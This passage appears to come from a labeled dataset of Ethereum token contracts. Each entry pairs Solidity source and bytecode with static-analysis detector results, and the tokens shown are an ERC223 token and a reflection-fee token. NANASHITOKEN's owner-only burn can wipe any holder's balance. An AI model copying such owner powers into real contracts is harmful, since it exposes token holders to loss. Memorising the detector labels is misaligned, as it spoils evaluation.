Transfer(0x0,0x4AA48F9cF25eB7d2c425780653c321cfaC458FA4, INITIAL_SUPPLY); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610642565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061064c565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a06565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0b565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610ce4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d1d565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f3c565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611138565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f4551554920546f6b656e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561068957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106d657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076157600080fd5b6107b2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610845826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b1c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb0565b610b2f83826111bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f455155490000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d5a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610da757600080fd5b610df8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bf90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610fcd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156111cd57fe5b818303905092915050565b600081830190508281101515156111eb57fe5b809050929150505600a165627a7a72305820ccbc842176702b4a274cf1e51e667595615d02ec191d94b0bad34bdd2e3610080029
{"success": true, "error": null, "results": {}}
263
0x3e419b0401339df3564edfa3686d7f99354f134d
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20StandardToken { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint _value); mapping (address => mapping (address => uint256)) internal allowed; mapping (address => uint256) public balanceOf; using SafeMath for uint256; uint256 totalSupply_; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from,address _to,uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balanceOf[_from]); require(_value <= allowed[_from][msg.sender]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balanceOf[msg.sender]); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Contract that will work with ERC223 tokens. */ contract addtionalERC223Interface { function transfer(address to, uint256 value, bytes data) public returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } /** * @title Reference implementation of the ERC223 standard token. */ contract ERC223Token is addtionalERC223Interface , ERC20StandardToken { function _transfer(address _to, uint256 _value ) private returns (bool) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); return true; } function _transferFallback(address _to, uint256 _value, bytes _data) private returns (bool) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool OK) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . if(isContract(_to)) { return _transferFallback(_to,_value,_data); }else{ _transfer(_to,_value); emit Transfer(msg.sender, _to, _value, _data); } return true; } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn&#39;t contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; if(isContract(_to)) { return _transferFallback(_to,_value,empty); }else{ _transfer(_to,_value); emit Transfer(msg.sender, _to, _value); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } } contract NANASHITOKEN is ERC223Token , Ownable { event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); string public name = "NANASHITOKEN"; string public symbol = "NNSH"; uint8 public decimals = 18; constructor() public{ address founder = 0x34c6D2bd70862D33c2d6710cF683e9b0860017a3; address developer = 0x0ede4523d0aD50FF840Be95Dd680704f761C1E06; owner = founder; uint256 dec = decimals; totalSupply_ = 500 * 1e8 * (10**dec); balanceOf[founder] = totalSupply_.mul(97).div(100); balanceOf[developer] = totalSupply_.mul(3).div(100); } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply_ = totalSupply_.sub(_unitAmount); emit Burn(_from, _unitAmount); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner public returns (bool) { require(_unitAmount > 0); totalSupply_ = totalSupply_.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce5671461020857806340c10f1914610233578063661884631461025757806370a082311461027b578063715018a61461029c5780638da5cb5b146102b357806395d89b41146102e45780639dc29fac146102f9578063a9059cbb1461031d578063be45fd6214610341578063d73dd623146103aa578063dd62ed3e146103ce578063f2fde38b146103f5575b600080fd5b34801561010157600080fd5b5061010a610416565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a03600435166024356104a4565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc61050d565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a0360043581169060243516604435610513565b34801561021457600080fd5b5061021d610691565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b506101a3600160a060020a036004351660243561069a565b34801561026357600080fd5b506101a3600160a060020a03600435166024356107a0565b34801561028757600080fd5b506101cc600160a060020a0360043516610893565b3480156102a857600080fd5b506102b16108a5565b005b3480156102bf57600080fd5b506102c8610917565b60408051600160a060020a039092168252519081900360200190f35b3480156102f057600080fd5b5061010a610926565b34801561030557600080fd5b506102b1600160a060020a0360043516602435610981565b34801561032957600080fd5b506101a3600160a060020a0360043516602435610a6a565b34801561034d57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101a3948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610aeb9650505050505050565b3480156103b657600080fd5b506101a3600160a060020a0360043516602435610bd7565b3480156103da57600080fd5b506101cc600160a060020a0360043581169060243516610c75565b34801561040157600080fd5b506102b1600160a060020a0360043516610c9e565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049c5780601f106104715761010080835404028352916020019161049c565b820191906000526020600020905b81548152906001019060200180831161047f57829003601f168201915b505050505081565b600160a060020a0333811660008181526020818152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60025490565b6000600160a060020a038316151561052a57600080fd5b600160a060020a03841660009081526001602052604090205482111561054f57600080fd5b600160a060020a03808516600090815260208181526040808320339094168352929052205482111561058057600080fd5b600160a060020a0384166000908152600160205260409020546105a9908363ffffffff610cc516565b600160a060020a0380861660009081526001602052604080822093909355908516815220546105de908363ffffffff610cd716565b600160a060020a038085166000908152600160209081526040808320949094558783168252818152838220339093168252919091522054610625908363ffffffff610cc516565b600160a060020a03808616600081815260208181526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060015b9392505050565b60065460ff1681565b60035460009033600160a060020a039081169116146106b857600080fd5b600082116106c557600080fd5b6002546106d8908363ffffffff610cd716565b600255600160a060020a038316600090815260016020526040902054610704908363ffffffff610cd716565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600160a060020a03338116600090815260208181526040808320938616835292905290812054808311156107f957600160a060020a0333811660009081526020818152604080832093881683529290529081205561082e565b610809818463ffffffff610cc516565b600160a060020a03338116600090815260208181526040808320938916835292905220555b600160a060020a033381166000818152602081815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3600191505b5092915050565b60016020526000908152604090205481565b60035433600160a060020a039081169116146108c057600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049c5780601f106104715761010080835404028352916020019161049c565b60035433600160a060020a0390811691161461099c57600080fd5b6000811180156109c45750600160a060020a0382166000908152600160205260409020548111155b15156109cf57600080fd5b600160a060020a0382166000908152600160205260409020546109f8908263ffffffff610cc516565b600160a060020a038316600090815260016020526040902055600254610a24908263ffffffff610cc516565b600255604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60006060610a7784610ce4565b15610a8e57610a87848483610cec565b915061088c565b610a988484610f37565b5083600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35092915050565b6000610af684610ce4565b15610b0d57610b06848484610cec565b905061068a565b610b178484610f37565b5083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b92578181015183820152602001610b7a565b50505050905090810190601f168015610bbf5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019392505050565b600160a060020a03338116600090815260208181526040808320938616835292905290812054610c0d908363ffffffff610cd716565b600160a060020a033381166000818152602081815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610cb957600080fd5b610cc281610fe1565b50565b600082821115610cd157fe5b50900390565b8181018281101561050757fe5b6000903b1190565b600160a060020a0333166000908152600160205260408120548190841115610d1357600080fd5b600160a060020a033316600090815260016020526040902054610d3c908563ffffffff610cc516565b600160a060020a033381166000908152600160205260408082209390935590871681522054610d71908563ffffffff610cd716565b600160a060020a0380871660008181526001602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b83811015610e11578181015183820152602001610df9565b50505050905090810190601f168015610e3e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610e5f57600080fd5b505af1158015610e73573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ef1578181015183820152602001610ed9565b50505050905090810190601f168015610f1e5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b600160a060020a033316600090815260016020526040812054821115610f5c57600080fd5b600160a060020a033316600090815260016020526040902054610f85908363ffffffff610cc516565b600160a060020a033381166000908152600160205260408082209390935590851681522054610fba908363ffffffff610cd716565b600160a060020a038416600090815260016020819052604090912091909155905092915050565b600160a060020a0381161515610ff657600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082151561107057506000610507565b5081810281838281151561108057fe5b041461050757fe5b6000818381151561109557fe5b0493925050505600a165627a7a72305820739be0f18d2f8e0a3d591e28337932c0cf7d4de6735c6e45ffec337ec4a1d9670029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
264
0x8c858cb4c20d421fdafb33a2a92fbdce569174ab
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract COWCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "COWCULT"; string private constant _symbol = "COWCULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 